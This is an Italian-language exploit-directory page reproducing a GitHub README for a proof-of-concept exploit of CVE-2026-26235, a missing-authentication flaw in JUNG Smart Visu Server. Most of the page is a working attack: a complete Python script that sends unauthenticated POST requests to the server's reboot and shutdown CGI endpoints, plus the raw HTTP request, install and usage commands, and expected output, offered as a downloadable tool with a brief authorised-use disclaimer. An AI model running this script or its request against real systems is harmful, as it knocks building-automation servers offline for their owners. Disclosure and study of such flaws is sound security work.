Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — Proof-of-concept exploit per CVE-2026-26235, una vulnerabilità di denial-of-service non autenticata in JUNG Smart Visu Server <=1.1.1050, che consente il riavvio o lo spegnimento remoto tramite endpoint CGI esposti. | Kitploit
Strumenti/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

Proof-of-concept exploit per CVE-2026-26235, una vulnerabilità di denial-of-service non autenticata in JUNG Smart Visu Server <=1.1.1050, che consente il riavvio o lo spegnimento remoto tramite endpoint CGI esposti.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
6 mesi faNon ancora revisionato

👤 Autore

Mohammed Idrees Banyamer

  • 📍 Paese: Giordania
  • 📸 Instagram: @banyamer_security

Python Version CVE CVSS CWE Author

Proof-of-Concept per CVE-2026-26235 - Denial of Service non autenticato tramite mancanza di autenticazione in JUNG Smart Visu Server ≤ 1.1.1050.


🚨 Descrizione della Vulnerabilità

CVE-2026-26235 è una vulnerabilità di denial of service non autenticato in JUNG Smart Visu Server versioni ≤ 1.1.1050. Il prodotto non implementa l'autenticazione per funzioni critiche di gestione del sistema, consentendo a un attaccante remoto di riavviare o spegnere il server con una singola richiesta POST.

Gli endpoint /cgi-bin/reboot.sh e /cgi-bin/shutdown.sh sono esposti senza alcun controllo di autenticazione. Non sono richiesti token di sessione, chiavi API o credenziali per attivare questi comandi a livello di sistema.

Ciò consente:

  • Riavvio/spegnimento del sistema non autenticato
  • Nessuna interazione con l'utente richiesta
  • Interruzione completa del servizio
  • Denial of service persistente

🎯 Versioni Interessate

StatoVersione
❌ VulnerabileJUNG Smart Visu Server ≤ 1.1.1050
✅ CorrettaNon ancora rilasciata

Testato su: JUNG Smart Visu Server 1.1.1050, Embedded Linux


💥 Impatto


🔬 Dettagli Tecnici

Causa principale

  1. Mancanza di autenticazione - CWE-306: Il prodotto non esegue alcuna autenticazione per funzioni critiche del sistema
  2. Endpoint CGI esposti - /cgi-bin/reboot.sh e /cgi-bin/shutdown.sh sono accessibili pubblicamente
  3. Nessuna validazione della sessione - Nessuna verifica di cookie, token o credenziali
  4. Esecuzione diretta di comandi di sistema - Gli script CGI eseguono comandi di riavvio/spegnimento del sistema senza controlli sui privilegi

Flusso della vulnerabilità

root@kitploit:~
Attaccante → POST /cgi-bin/reboot.sh → Nessun controllo di autenticazione → Riavvio del sistema → DoS
Attaccante → POST /cgi-bin/shutdown.sh → Nessun controllo di autenticazione → Spegnimento del sistema → DoS

🛠️ Proof of Concept

Script Exploit in Python

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Richiesta HTTP Grezza

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 Installazione

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 Utilizzo

Riavvio di base

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

Spegnimento

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

Disabilita verifica SSL

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

Timeout personalizzato

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

Aiuto

root@kitploit:~
python3 CVE-2026-26235.py -h

Output atteso

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 Riferimenti

  • VulnCheck Advisory
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306: Missing Authentication for Critical Function
  • NVD - CVE-2026-26235 (in attesa)

👤 Autore

Mohammed Idrees Banyamer

  • 📍 Paese: Giordania
  • 📸 Instagram: @banyamer_security
  • 🐙 GitHub: banyamer-security
  • 🔗 LinkedIn: Mohammed Banyamer
  • 📧 Email: [email protected]

⚠️ Disclaimer

Questo proof-of-concept exploit è fornito solo per scopi educativi e di test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.

Test non autorizzati contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare sono illegali.


📄 Licenza

Licenza MIT

Copyright (c) 2026 Mohammed Idrees Banyamer

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


⭐ Supporto

Se questo exploit ha aiutato la tua ricerca o i tuoi test:

  • ⭐ Metti una stella a questo repository
  • 🔁 Condividi con altri ricercatori
  • 📢 Segui @banyamer_security su Instagram

Responsible Disclosure • Security Research • CVE-2026-26235

Scarica lo strumento
VettoreDescrizione
CVSS v48.7 (Alto) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AutenticazioneNessuna - Completamente non autenticato
Vettore di attaccoRete
ComplessitàBassa
ImpattoAlto impatto sulla disponibilità